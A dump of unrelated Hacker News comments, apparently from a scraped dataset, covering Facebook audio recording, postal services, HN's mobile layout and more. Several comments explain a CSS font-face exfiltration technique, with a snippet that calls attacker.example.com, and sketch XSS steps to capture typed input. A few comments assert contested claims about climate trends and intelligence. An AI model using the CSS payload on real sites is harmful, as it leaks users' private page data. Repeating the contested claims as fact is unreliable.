skysight-inc/HackerNews huggingface dataset:
A classic. Some of the ideas presented here were literally a hundred years ahead of their time.
What game should Rockstar make next?
I just bought stamps (haven’t sent a letter in years, and they don’t seem to have fax) to send them the Cease & Desist in mail, too.

Let’s see what’s going to happen, if they don’t react at all, I can still go down the legal path.
Wait, you used python, len, list, itertools to calculate 7 x 7?

More seriously, calculating 7 x 7 x 7 x 7 reminded me of this old blog post on squaring two digit numbers in your head: http://blog.jgc.org/2010/03/squaring-two-digit-numbers-in-yo...
I really wonder what kind of ideas they are talking about. It is never really said.
>So, without opt-in

From the article: "If you choose to turn on this feature..."
How to Make a Video SEO Strategy
This is not quite true. The EU can issue fines. The fines are enforceable in each member's courts because of the treaties they signed up to as part of the EU.

But you're right in this case the EU can't do anything about Snowden. It's really just a motion calling on EU national governments.
Former head of GCHQ: “Internet firms 'should retain users' data'
>The fuss is about the data sent to Facebook's servers for "identification". You can make the decision to post it or not, but Facebook knows it in either case.

But it's OK for Shazam or Soundhound?

At which point is a feature just what it says on the tin?
Fake Cover Letters Expose Discrimination Against Disabled
Presumably a possible target for this would be reddit, where users can upload custom CSS to style their subreddits?

You could at least get the username, subscribed subreddits, and some debug info (such as the country code) this way...
I have to admit, I'm a bit confused about what is actually happening here. Can someone ELI5?
The Payment Dance
I was objecting to hyperbole. Sadly it is about shifting means but that doesn't make for good headlines so we get hyperbolic statements.
Mostly it's inspiring because most people sit back and say "It can't be done, it's impossible" or "wow, they must have had a shit ton of luck to get this out of the door" instead of looking for solutions or ways to circumvent or exploit the million little problems along the way that seek to obstruct the endgame.

Kudos to these guys for sticking at it long enough and persevering to achieve their vision.
Especially impressive, given that 56153 is not prime ...

(you might want to fix the title)
Machine Learning for indentify the author of an email
This document was incorrectly filed as an April 1 RFC, when in fact it should be an informational RFC.
A few random comments on things not touched upon by the article

- Japan Post, mentioned in the article, also has large banking and insurance arms

- The Swedish postal service (now PostNord) has a large banking operation which was divested in the privatisation process in the 90's. I assume similar things happened to the other European postal services compared to in the table/article. I guess what's going to happen in Italy is the same thing where the profitable financial stuff will be snapped up and postal service will continue to limp along.

- In most countries I've visited I've preferred the old "traditional" postal operator to newcomer courier services for parcel delivery. In Sweden, parcel companies would always force you to miss a day of work to stay home, and then avoid ringing your doorbell, etc... bad service overall. Here in Australia, TNT (who deliver for Apple) would not even deliver within 50 km of where I live, and had to leave my parcel with a newsagent 50 km away "who they usually leave packages with in difficult cases like this". In both cases, the traditional mail services (Posten/PostNord and Australia Post) have far more location and can leave packages for pick-up nearby. It seems like the issue is making better service more profitable. Perhaps residential customers are all a loss?
>But can we for once not immediately assume ill intentions?

Sure, but what if we're wrong? Once Facebook and it's advertisers have access to this information there's no way to be sure that they've deleted everything, just because you asked nicely.

When it's impossible to undo an action it's best to proceed with caution.
I'm not sure, but whatever it is, it's in PHP programming language!

Could their support "team" be an automated agent proof of concept gone terribly, terribly wrong? /s
Nokia Networks, Artemis to Trial PCell Technology
Nobody prefers flash for video streaming. Not one person on the planet.
> For it to be anything other than this it would require people of high intelligence to be a sub-population that did not breed with the rest of humanity.

It is: we call it "social classes". Because intelligence correlates positively with success and because people tend to have children with other people from a similar social stratum, the exact situation you described emerges as a pattern.
You choose to turn on the feature.

The people around you have no choice at all if they are recorded or not.
There are many flash games like this on the internet - but real life sounds way cooler :)

I wonder now which came first, the computer games or the real life escape rooms...

I saw another comment mentioning 4-digit codes. For some reason, every single such computer game I played also involved a 4-digit code, as if that's some kind of obligatory thing to have. So the 4-digit thing kind of lost its originality, I wonder why it keeps being present in such games?
Impossible to tell from the article, the video or the website. They say it's a "phone" but it seems more like an app. On the other hand, how could it be natively integrated, I didn't think iPhone allowed that.
Also it's a little unfortunate that the up-vote button can be easily mistaken for a link-to-parent button. I've lost count of the number of comments I've up-voted when actually I just wanted to know who they were replying to.
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}

#sensitive-information {
font-family: poc;
}

means "use the font-file 'http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text.

As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.
That's not a "modern" GUI framework approach - eventloops have been a feature of GUI systems back to the Apple Lisa and Windows 1.
That was not reported. This is what was reported on Oct. 23rd by sciencemag.org:

"Approval to go ahead is expected from Germany's nuclear regulators by the end of this month"
Satire is great. Unfortunately: most comments on HN that are written like that are not satire.

The problem of misconstrued satire is as old as the Internet. And because satirizing misogyny on HN is a high wire act in the best of circumstances, you'd be smart to put some explicit indication that you're joking when you attempt it.

Or just don't attempt it at all.
The previous version was just a desktop browser page crammed on a tiny screen. This one, you can at least read. After years and years, HN finally found out about responsive web design.
Uber rider arrested in attack on driver recorded by dash camera
I'm not really experienced in @font-face, but I think it's specifing a different webfont for single unicode characters (using the range attribute).
Chrome will then try to fetch the font from the many URLs, making an HTTP request for every character in the field (say "Hello" will try to fetch ?H, ?e, ?l, ?o) in the order it finds them.

If you're on the other side (ie. the server serving the font) you can rebuild the original string by seeing which requests have been made and in which order.

Haven't tried it, but I doubt it'll try to fetch the same letter twice, so most of the time the string wouldn't be complete (but again, I haven't tried so I don't know for sure).
I agree. I haven't used anything but this on mobile since the day I found it. The comments links are much easier touch targets, and built in back and forth navigation. 10x easier to read. (Not that I don't appreciate the work the HN guys are doing!)
It's also an unavoidable part of writing graphical code on OS X, so, for all intents and purposes, it is the OS.
Example:

http://tryhaskell.org/

source:

https://github.com/chrisdone/tryhaskell

For those that just want to see the sandboxing part, I think most of the magic is in mueval but I could be wrong:

https://github.com/gwern/mueval
At least you get some margins on the home page. Looks a mess on my device. Also, when I tap through to comments, half the page falls off the right of the screen until I double-tap the screen.
Relief or Haunting? The Gaping Challenge about Smart Home Security
They're setting custom fonts, but specifying the fonts should only be used for particular characters.

This attack assumes the attacker has some way of getting CSS they wrote onto the target website, via some other exploit.

The attacker then hosts many font files on a webserver they control. Let's call the fonts "a", "b", "c", and so on.

They then inject the CSS to set the font for text on the target page to their custom fonts - but tell it "use font a for all of the 'a' characters" and so on.

By observing which fonts are downloaded from their webserver, they can learn information on which characters are and are not present on the page.
I'm sorry, I had to chuckle at this comment.
Thanks!
The "Max Dama on Automated Trading" looks awesome!

"Trading and Exchanges" by Harris also looks very helpful towards actual implementations. Will order it right away. Thanks a lot!
On the causes of ideological imbalance in the academy
>You choose to turn on the feature.

>The people around you have no choice at all if they are recorded or not.

How's that different to literally any application that sends microphone recordings across the 'net?
The thing I think you are missing is that once the feature exists, it can be misused, even if unintentionally by Facebook. A malicious employee could abuse their trusted position, a government level actor could intercept the transmission, a hacker could break in and dump them, etc. These are all very real scenarios that have happened before.
Interesting. Put it sideways, allow to save many frames and then play ASCII movies. That may start a new fad. The internet is all about fads.
To expand on the earlier fuzzers, Section 2.2 and Appendix 1B of http://www.dtic.mil/dtic/tr/fulltext/u2/a558209.pdf seem to have decent information of the noughties tools.
CALMzone launch suicide prevention campaign
How is this different from Shazam? I don't think very many people are paranoid about their conversations being recorded when someone in a bar holds up their phone to identify what's playing.
Mongo Dynamic Fixture: testing by dynamically creating Mongo fixtures in Python
Ashkenazi Jews would seem to be a well-studied sub-population that tends to possess above-average intelligence.

https://en.wikipedia.org/wiki/Ashkenazi_Jewish_intelligence
The world's first ocean cleaning system will be deployed in 2016
Show HN: Markdownbox – Securely hosted Markdown documents
Sometimes they keep it very quiet:
https://en.wikipedia.org/wiki/Volkswagen_emissions_scandal

No, seriously. All these statements about German character or German mentality should stop. If the last few months haven't taught us anything else, at least it should have taught us that. First, Germans and the German government were praised as reliable in connection with the Grexit (as opposed to the Greeks), then a few months later, a German government owned car producers is caught in what might be the biggest corporate fraud ever.

I wonder if mentality and national traits even exist.
Looks fine on BBOS10 default browser
It’s Peter’s law: https://en.wikipedia.org/wiki/Peter_principle

> In a hierarchy every employee tends to rise to his level of incompetence.
So you think the engineers are innocent and altruistic, and the MBAs are evil, huh?

What an incredibly naive viewpoint. Which one is Mr. Zuckerberg? I recall him have a few choice words for the "suckers" who sign up for his service and hand over their data.
Not so much physics, but just math. Still, it's a phenomenal song.
I opened a mortgage company. I learned a lot about sales teams.
Fast remedies for slow Linux app build times
Cool concept, misguided implementation.

Look at Smalltalk and Pharo on how to do this properly, on the right platform. Not only is Javascript/browser the wrong platform for something like this, but it's also too constraining and limited in scope as to what one can do with it.

It's kind of sad to see bad re-implementations of paradigms that have been out there for 30+ years (in this case even more than that). I suggest that the maintainers of this project go to youtube and watch every Alan Kay video they can find. They'll learn a lot.
Because here you have to opt in once, and it will record in the future every time when writing a status entry. People holding up a phone to identify what’s playing are at least noticeable.

Same reason why recording video with a phone (for which you have to hold it awkwardly, or you’ll just record the ground) is different from recording with Google Glass (at first, no one notices if you record or not)
Honestly, the people who use Busybox are probably aware of the problems - political as well as technical - with systemd, and most likely not using systemd in the first place because it's not exactly a good choice for embedded systems.

Also, for busybox syslogd, it does not matter at all whether you can hold its socket. syslog isn't a reliable mechanism anyway, and busybox is light enough that the non-ready period is really short.

So, on the technical side, the impact is quite minimal.
On the political side, however, it looks like Denys made a splash, and I'm not going to complain about it. :)
Make a vertical copy from one buffer, try to vertically paste it in another buffer, at the end of some line.

In MacVim, the vertical rectangle pastes at the end of the existing lines.

In NeoVim, it pastes on a new set of lines.
Also, if I've learned something from studying English is that "should" is not "will".

Especially if "should" is said by an entity that has effectively no decision power in the matter.
Same as most html injection attacks. I haven't tested as I'm on the way to work, but I will try to craft the attack as follows:

1: discover html attribute vulnerable to this.
2: craft payload as a link, for Dom, reflected or stored.
3: watch them type characters as rules are triggered. (Is this possible to use as a key logger?!)

So that's general, then more specifically As an attacker I would probably trigger a password lock of the target where the user has to enter security questions. Then gather that information. Another reason to hate security questions.

Remediation:

Output encode in the proper context! This most certainly qualifies as the exact reason why your fancy blacklist (or whitelist) filter set is not the proper mitigation for xss. In the above scenario, The attacker is injecting rules as inline css in the context of an html attribute, so then output encode in that context.

Also I need to check if it can bypass the CSP in any way, though I doubt it.

Sorry for the organization or this post, as I mentioned im on the train.
Hell, the Devil's playground... because it looks strange.

What kind of association does that make in people's minds, they already think nuclear = death...
There are quite a few good code snippets and suggestions for improvements to the CSS here.

I only wish there was some collaborative environment we could use to request changes to the code be pulled in and utilized.
I hope Liza comes up with a follow-up post: "the saga continues"

They continue to deny any wrongdoing, and continue in their favorite game of copy-and-paste-replys on Twitter.
https://twitter.com/livecodingtv/with_replies

Here's one directed at me (and 2 other people, since I guess in this instance they were too lazy to copy and past the reply 2 extra times:
https://twitter.com/livecodingtv/status/661153102750425088

This deep in a hole and they're still convinced they are the victims... Unbelievable.
A soldering gun is a plumbing tool. It's far too big for working on phones, and it's likely to damage them with induced current. You need a soldering iron or a hot air rework station.
I'm submitting this partly because suicide is a significant cause of death for the HN demographic, but also because it's an innovative use of Twitter.

> Deliberately provocative, the #BiggerIssues advertising campaign juxtaposes comparatively trivial topics that are getting a huge amount of public attention with the issue of male suicide. Vegan meatballs recently tweeted about by Professor Green, for example, get more attention than the issue of male suicide.

They find tweets about trivial stuff that got a lot of attention, and compare those to tweets about suicide.

Here's a link to the hashtag: https://twitter.com/hashtag/BiggerIssues?src=hash

(Professor Green is a singer, and a patron of the charity "CALMzone" (campaign against living miserably, a charity that aims to reduce male suicide). His father died by suicide, and he made a programme for BBC. http://www.bbc.co.uk/iplayer/episode/b06mvx4j/professor-gree... )
Remember, that much of the developing world has a legacy of socialism/communism (India included), and much of the progress that has been made, can be attributed to various political movements.

You're right that globalization has helped reduce inequality between various countries, it's not always for the obvious reasons (my wife's country of origin subsists almost entirely on money sent from the US and Canada back to family members - there are more migrants abroad than people left in her country).

And while India has certainly become richer as a whole, it's still one of the most unequal countries in the world.

Last but not least, Piketty chose to focus on France especially, not only because he's French and writing for that audience, but because they have BY FAR the best data accumulated from the 19th century to the present day.
Seeing as there is a copied 4 in that calculation, they probably didn't use the code.
Elixir and Rust, and brushing up on C++11.
Presuming this is not the end; it's a great start! I consume 90% of my HN content on mobile. I like the list view a lot more. I think commenting should be worked on next.
Will it support chinese in utf-8?
George Boole
Ironic, because the Facebook graph API actually has excellent granularity on what you can access. They've even taken steps to limit data leaks from your profile - e.g. you can't access someone's friends' status information anymore.

Do you need mic access to record video with sound?
How Artemis can deliver 5G on 4G LTE devices today with Nokia
Yet more evo-psy speculation that says more about the author of the article than about humans as a whole.
Yes, event loops are quite an old idea. I just put "modern" there to exclude old systems that encouraged polling. For example, I'm pretty sure classic Mac OS entered a loop while tracking the mouse in menus.
Okay, I understand now. Thanks.
Show HN: We made a movie! “I'm with Joy” on Vimeo
Between the two of them, they are the entirety of the satellite global atmospheric temperature data sets. If you run a linear regression on the TLT (total lower tropospheric) data from 1997 to current, you'll get a zero trend. If you allow for their level of confidence, you get a zero trend from 1994.

These are two separate organizations, who's data (with UAH's 6.0 update) is within .2C of each other. UAH is University of Alabama in Huntsville in partnership with NASA. RSS is a private atmospheric research company. Both their data sets start in 1979.

Without discounting their data, what theory of anthropogenic global warming accounts for this length of no warming during the period where 1/3rd of all man made CO2 was released into the atmosphere? I'm extremely curious and have had no luck getting an answer anywhere.

The data is easy to find, but I can link it if you want to run it yourself. The UAH 6.0 data is still in Beta, but NASA started accounting for loss of orbit and are working on an updated record.
Do you have a example pastebin or so? and I will make sure to add some support for it.
It isn't that complicated.

Facebook's whole business model is predicated on collecting vast amounts of personal data and selling you advertising. Every feature they add is a means to that end. All of them.
Web designing company in Delhi – India
Web Gateway India - web designing company in Delhi | India
SOS Labyrinthe in Montreal's Old Port which has a similar concept has been around since 1991. http://en.soslabyrinthe.com
Why Online Businesses Are Moving to Responsive Web Design?
They'd have been better off selling it as a Buick to justify the $40k price tag, but people who want a status symbol can buy the Cadillac ELR.
ITS THE BEST! KEEP IT :)
Indeed. There is a reason I chose not to have a Facebook account, and the continued attempts by organisations like Facebook to make my own friends and family spy on me on their behalf are infuriating and, apparently, becoming increasingly intrusive.
It’s not very different, except usually you have to turn it on manually for every single recording. If you record without permission, it is illegal.

Here a user turns it on once, and it will record every time you write a status update, and they might even forgot they turned it on – it poses a liability issue, and it leads to people being less able to find out if they are recorded or not.

In the end, probably it will be the users that end up in court, not Facebook.
Ask HN: Whoishiring bot not working?
hey guys, didn't found the whoishiring post on HN!
> In developed contries, does an idividual "worth" 10x receive 10x better health care? Not realy. Is it 2x better? I doubt.

They do use life expectancy (which is a result of health standards) as a measure of inequality. Using my wife's country of origin as an example, their life expectancy is nearly 20 years less than Canada, France, or Japan.
Interesting background on Ayasdi (literally, “to seek,” in Cherokee, perhaps sparking the newest trend in startup names deriving from indigenous languages) and its DARPA roots:

http://bits.blogs.nytimes.com/2013/01/16/ayasdi-a-big-data-s...

And a link to founder and Stanford Math Prof. Gunnar Carlsson's seminal AMS paper on "Topology and Data":

http://www.ams.org/journals/bull/2009-46-02/S0273-0979-09-01...
How to Get Rejected by YC and Move On: A Proven Framework
It is how some open source projects work (e.g. Android).
And people complain when aliens use rectal probes. Facebook's ultimate game is to keep you entirely within its universe, know everything you know, and ensure the advertisers have exclusive access to you and your information. It's the only way to grow revenues for a free service and justify a crazy stock price.
> The attackers then immediately performed a password reset to hijack PageFair’s account on a Content Distribution Network (CDN) service that we use to serve our analytics javascript tag. They modified the CDN settings so that instead of serving PageFair’s javascript, it served malicious javascript.

It would have been nice that the article spelled out the exact hostname from that CDN, to find out whether it is blocked by default by blockers.
I don't know if this is only true of JavaScript, but its parser at least accepts all months as having 31 days and then normalises them to the following month, on overflow:

> new Date('2015-02-31')
Mon Mar 02 2015 00:00:00 GMT+0000 (GMT)
> new Date('2015-02-32')
Invalid Date

I'm not sure if I entirely approve of this behaviour...
I would like to have some feedback either positive or negative about this library. Some ideas about future improvements are:

- generating more specific fields by using `faker`,

- integration with orm layers (`mongoengine` for example) to guess the structure of the data instead of defining it.